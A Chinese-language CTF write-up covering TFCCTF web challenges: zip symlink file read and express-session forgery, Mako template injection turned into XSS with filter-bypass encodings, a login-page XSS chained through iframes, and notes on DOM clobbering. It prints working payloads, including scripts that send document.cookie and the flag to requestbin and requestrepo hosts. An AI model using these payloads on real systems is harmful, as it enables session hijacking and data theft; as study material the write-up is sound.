TFCCTF-web-replay

1
2
本次比赛只做了web的签到
水平有限,速速复现

Slippy

web签到题,源码就不贴了
关键部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
router.post('/upload', upload.single('zipfile'), (req, res) => {
const zipPath = req.file.path;
const userDir = path.join(__dirname, '../uploads', req.session.userId);

fs.mkdirSync(userDir, { recursive: true });

// Command: unzip temp/file.zip -d target_dir
execFile('unzip', [zipPath, '-d', userDir], (err, stdout, stderr) => {
fs.unlinkSync(zipPath); // Clean up temp file

if (err) {
console.error('Unzip failed:', stderr);
return res.status(500).send('Unzip error');
}

res.redirect('/files');
});
});

router.get('/files', (req, res) => {
const userDir = path.join(__dirname, '../uploads', req.session.userId);
fs.readdir(userDir, (err, files) => {
if (err) return res.status(500).send('Error reading files');
res.render('files', { files });
});
});

一眼unzip软链接
实现了任意文件读取
给的附件里有个.env,可以拿到process.env.SESSION_SECRET
可以伪造session
但是express-session的模块不止于此,我们发现源码里已经建立了一个用户develop

1
2
3
4
5
6
7
8
9
10
11
12
const sessionData = {
cookie: {
path: '/',
httpOnly: true,
maxAge: 1000 * 60 * 60 * 48 // 1 hour
},
userId: 'develop'
};
store.set('<REDACTED>', sessionData, err => {
if (err) console.error('Failed to create develop session:', err);
else console.log('Development session created!');
});

我们还得知道session_id,即这个所谓附件中的占位符
至于如何知道这个占位符,直接去读server.js文件不就可了吗?
确实如此,拿到
session_id=amwvsLiDgNHm2XXfoynBUNRA2iWoEH5E
又知
secret=3df35e5dd772dd98a6feb5475d0459f8e18e08a46f48ec68234173663fca377b
可以拿出session登录userId='develop'
脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
const crypto = require('crypto');

// 配置参数
const SESSION_ID = 'amwvsLiDgNHm2XXfoynBUNRA2iWoEH5E'; // 指定sessionid
const SECRET = '3df35e5dd772dd98a6feb5475d0459f8e18e08a46f48ec68234173663fca377b'; // 密钥

// 生成签名
const signature = crypto
.createHmac('sha256', SECRET)
.update(SESSION_ID)
.digest('base64')
.replace(/\=+$/, '')
.replace(/\+/g, '-')
.replace(/\//g, '_');

// 生成客户端需要的connect.sid
const connectSid = `s%3A${encodeURIComponent(SESSION_ID)}.${signature}`;

// 输出结果
console.log('生成的session信息:');
console.log('原始sessionid:', SESSION_ID);
console.log('客户端Cookie值:', connectSid);

至于我们为什么要登录这个session呢?看这里

1
2
3
4
5
6
7
8
9
10
router.get('/debug/files', developmentOnly, (req, res) => {
const userDir = path.join(__dirname, '../uploads', req.query.session_id);
fs.readdir(userDir, (err, files) => {
if (err) return res.status(500).send('Error reading files');
res.render('files', { files });
});
});
fs.readdir(userDir, (err, files) => {
if (err) return res.status(500).send('Error reading files');
res.render('files', { files });

可以实现列目录的功能
如何通过这个developmentOnly.js文件呢?
看看

1
2
3
4
5
6
module.exports = function (req, res, next) {
if (req.session.userId === 'develop' && req.ip == '127.0.0.1') {
return next();
}
res.status(403).send('Forbidden: Development access only');
};

因此想要实现这个debug功能列目录,必须
req.session.userId === 'develop' && req.ip == '127.0.0.1'通过
user_id成功,127.0.0.1?xff伪造秒了
至于我们为什么要实现列目录呢?
因为dockerfile给flag文件赋了一个随机的路径,我们需要列目录读出来
走到这就结束了,拿到flag路径,软链接读就行了

1
2
ln -s ../../../../xxxxxxxx/flag.txt link
zip --symlinks hack.zip link

KISSFIXESS

用mato模板注入打xss
关键怎么绕过呢?
可以用${7*7}发现成功49

这道题最令人毛骨悚然的(bushi,菜就多练
是mato模块里的一个绕过字符检测方式
利用‘%c’%115绕过s等等字符‘%c’%46绕过.‘%c’ % 36 绕过$等等,最后直接全部绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
<script>fetch('http://requestbin.cn:80/u76c50u7?c='+document.cookie)</script>
有个脚本
def encode_payload(payload):
# 生成'%c'%ASCII码的payload字符串
parts = []
for c in payload:
parts.append("'%c'%{}".format(ord(c)))
return ' + '.join(parts)

if __name__ == '__main__':
# 你可以修改这里的payload
payload = input('请输入要编码的payload: ')
print(encode_payload(payload))

直接编码

1
${'%c'%60 + '%c'%115 + '%c'%99 + '%c'%114 + '%c'%105 + '%c'%112 + '%c'%116 + '%c'%62 + '%c'%102 + '%c'%101 + '%c'%116 + '%c'%99 + '%c'%104 + '%c'%40 + '%c'%39 + '%c'%104 + '%c'%116 + '%c'%116 + '%c'%112 + '%c'%58 + '%c'%47 + '%c'%47 + '%c'%114 + '%c'%101 + '%c'%113 + '%c'%117 + '%c'%101 + '%c'%115 + '%c'%116 + '%c'%98 + '%c'%105 + '%c'%110 + '%c'%46 + '%c'%99 + '%c'%110 + '%c'%58 + '%c'%56 + '%c'%48 + '%c'%47 + '%c'%117 + '%c'%55 + '%c'%54 + '%c'%99 + '%c'%53 + '%c'%48 + '%c'%117 + '%c'%55 + '%c'%63 + '%c'%99 + '%c'%61 + '%c'%39 + '%c'%43 + '%c'%100 + '%c'%111 + '%c'%99 + '%c'%117 + '%c'%109 + '%c'%101 + '%c'%110 + '%c'%116 + '%c'%46 + '%c'%99 + '%c'%111 + '%c'%111 + '%c'%107 + '%c'%105 + '%c'%101 + '%c'%41 + '%c'%60 + '%c'%47 + '%c'%115 + '%c'%99 + '%c'%114 + '%c'%105 + '%c'%112 + '%c'%116 + '%c'%62}

太神了 还有一个利用的点 ${banned[0]} 也可以绕过部分字符

总结

主要几个知识点,可以利用同时渲染的banned值以及mato支持python格式化的格式化绕过方式
比如 ‘%c’%60被渲染出来就是<
但是仅有部分模板引擎支持这种渲染

1
2
3
4
5
6
7
8
9
10
11
12
Mako  
允许在 ${} 或 <% %> 中写任意 Python 表达式和语句。
Tornado Template
支持在模板中直接写 Python 表达式和控制流。
Django Template(debug/非安全模式下)
默认限制较多,但某些配置或自定义 filter 可执行原生 Python 表达式。
Bottle SimpleTemplate (stpl)
允许在 {{ ... }} 或 % ... 中写原生 Python 表达式。
Cheetah
支持在模板中嵌入 Python 代码块。
Chameleon
支持部分原生 Python 表达式(如 ${python: ...})。

windows环境复现无法正常运行bot,换在linux下就拿到flag了
不过有了KISSFIXESSPlus
Plus在过滤了更多

1
banned = ["s", "l", "(", ")", "self", "_", ".", "\"", "\\", "&", "%", "^", "#", "@", "!", "*", "-", "import", "eval", "exec", "os", ";", ",", "|", "JAVASCRIPT", "window", "atob", "btoa", "="]

%被过滤了() 还能怎么绕过呢?

1
2
${banned[1]}Script${banned[2]}new Function${banned[3]}decodeURIComponent${banned[3]}String[`fromCharCode`]${banned[3]}37${banned[4]}+`77`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`69`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`6e`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`64`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`6f`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`77`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`2e`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`6c`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`6f`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`63`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`61`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`74`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`69`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`6f`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`6e`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`3d`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`22`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`68`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`74`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`74`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`70`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`3a`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`2f`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`2f`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`31`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`32`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`30`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`2e`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`37`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`36`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`2e`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`31`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`39`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`34`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`2e`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`32`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`35`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`3a`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`32`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`33`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`32`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`33`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`3f`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`61`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`3d`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`22`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`2b`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`64`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`6f`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`63`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`75`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`6d`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`65`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`6e`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`74`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`2e`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`63`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`6f`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`6f`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`6b`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`69`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`65`${banned[4]}${banned[4]}${banned[3]}${banned[4]}${banned[1]}/Script${banned[2]}

webless

看了一下,味道很熟悉,还是xss
这个路由

1
2
3
4
5
6
7
8
9
10
11
12
13
@app.route("/post/<int:post_id>")
@login_required
def post_page(post_id):
"""Render a single post fully server-side (no client JS) with strict CSP."""
post = next((p for p in posts if p["id"] == post_id), None)
if not post:
return "Post not found", 404
if post.get("hidden") and post["author"] != session["username"]:
return "Unauthorized", 403

resp = make_response(render_template("post.html", post=post))
resp.headers["Content-Security-Policy"] = "script-src 'none'; style-src 'self'"#保护很严格呢应该怎么办呢,CSS打?
return resp

禁止一切内联脚本
还有哪里能打xss呢?
注意,很特意的一个设计
登录时密码错误也能导致xss,且没有安全头

我看看怎么回事

1
2
3
4
5
if username and password:
if username in users and users[username] == password:
session["username"] = username
return redirect(url_for("index"))
return render_template("invalid.html", user=username), 401



直接干了
但是没那么简单打因为bot会先登录进flag账户,session中已经有了username无法绕过这个

1
2
3
4
5
6
7
@app.route("/login", methods=["GET", "POST"])
def login():
if "username" in session:
return redirect(url_for("index"))

username = request.args.get("username") or request.form.get("username")
password = request.args.get("password") or request.form.get("password")

看看大佬怎么做的
用了一个做中介还是用到了/post/xx

1
2
3
4
5
6
7
8
9
10
11
<iframe id="flag" src="/post/0" style="width:0;height:0;border:0;visibility:hidden"></iframe>

<img a="wait" src=/>
<img a="wait" src=/>
<img a="wait" src=/>
<img a="wait" src=/>
<img a="wait" src=/>
<img a="wait" src=/>
<img a="wait" src=/>

<iframe credentialless src="/login?username=%3Cscript%3E%0Aconst%20parent%20%3D%20window%2Eparent%3B%0Aconst%20iframe%20%3D%20parent%2Edocument%2EgetElementById%28%27flag%27%29%3B%0Aconst%20iframeDoc%20%3D%20iframe%2EcontentDocument%3B%0Aconst%20flag%20%3D%20iframeDoc%2EgetElementById%28%27description%27%29%2EinnerText%3B%0Afetch%28%27http%3A%2F%2Frequestbin.cn:80/u76c50u7%3Fflag%3D%27%2Bflag%29%0A%3C%2Fscript%3E&password=admin" style="width:0;height:0;border:0;visibility:hidden"></iframe>


这个上面去打xss

1
2
3
4
5
6
7
<script>
const parent = window.parent;
const iframe = parent.document.getElementById('flag');
const iframeDoc = iframe.contentDocument;
const flag = iframeDoc.getElementById('description').innerText;
fetch('https://kws1oh3y.requestrepo.com/?flag='+flag)
</script>

这道题偷cookie没用的,session不存储密码,就也登不进去
所以这样打可获取父域dom
这种方式很类似于之前老外的有一道比赛
确实不太懂,看能不能复现一下吧
再report一下

cool~
这道题能学到不少xss好活

DOM NOTIFY

好货1
好货2
好货3
看不懂多看几遍吧

1
DOM clobbering(打击) is a technique in which you inject HTML into a page to manipulate(操作) the DOM and ultimately change the behavior of JavaScript on the page

适用于什么场景呢?

1
DOM clobbering is particularly useful in cases where XSS is not possible, but you can control some HTML on a page where the attributes id or name are whitelisted by the HTML filter

id or name are whitelisted by the HTML filter
第一篇文章翻译过来就是
所有具有 id 或 name 属性的HTML元素,都会被自动变成全局变量(挂在 window 对象上)。
如果一个元素有 name 属性,它还会成为其父级“破坏对象”的一个属性。

看一下这道题的dompurify函数

1
2
3
4
5
6
7
8
9
10
11
12
function sanitizeContent(content) {
// Sanitize the note with DOMPurify
content = DOMPurify.sanitize(content, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'div', 'span'],
ALLOWED_ATTR: ['id', 'class', 'name', 'href', 'title']
});

// Make sure that no empty strings are left in the attributes values
content = content.replace(/""/g, 'invalid-value');

return content
}

发现dom-clobbering是被允许的
再看看main.js文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
// window.custom_elements.enabled = true;
const endpoint = window.custom_elements.endpoint || '/custom-divs';

async function fetchCustomElements() {
console.log('Fetching elements');

const response = await fetch(endpoint);
if (!response.ok) {
throw new Error(`HTTP error! status: ${response.status}`);
}

const customElements = await response.json();
console.log('Custom Elements fetched:', customElements);

return customElements;
}

function createElements(elements) {
console.log('Registering elements');

for (var element of elements) {
// Registers a custom element
console.log(element)
customElements.define(element.name, class extends HTMLDivElement {
static get observedAttributes() {
if (element.observedAttribute.includes('-')) {
return [element.observedAttribute];
}

return [];
}

attributeChangedCallback(name, oldValue, newValue) {
// Log when attribute is changed
eval(`console.log('Old value: ${oldValue}', 'New Value: ${newValue}')`)
}
}, { extends: 'div' });
}
}

// When the DOM is loaded
document.addEventListener('DOMContentLoaded', async function () {
const enabled = window.custom_elements.enabled || false;

// Check if the custom div functionality is enabled
if (enabled) {
var customDivs = await fetchCustomElements();
createElements(customDivs);
}
});

可以通过dom-clobbering修改全局变量,按照它这个逻辑从外部网站获得数据
再阅读一下第二篇文章
Mutation XSS (突变XSS)
关于突变XSS前几个月坐牢时好像使劲搜了下,没看懂,这下原汁原味读一下
真的建议读老外写的()
浏览器的 HTML 解析器(parser)和 Sanitizer 用的解析器可能有 差异。
这类利用“解析器不一致”导致的 XSS,叫 Mutation XSS(突变型 XSS)
对于这道题,就不着急写不懂的WP了,打算再学一篇突变xss

总结

膜拜SU的web组,干这么多题解了,菜鸡只能出签到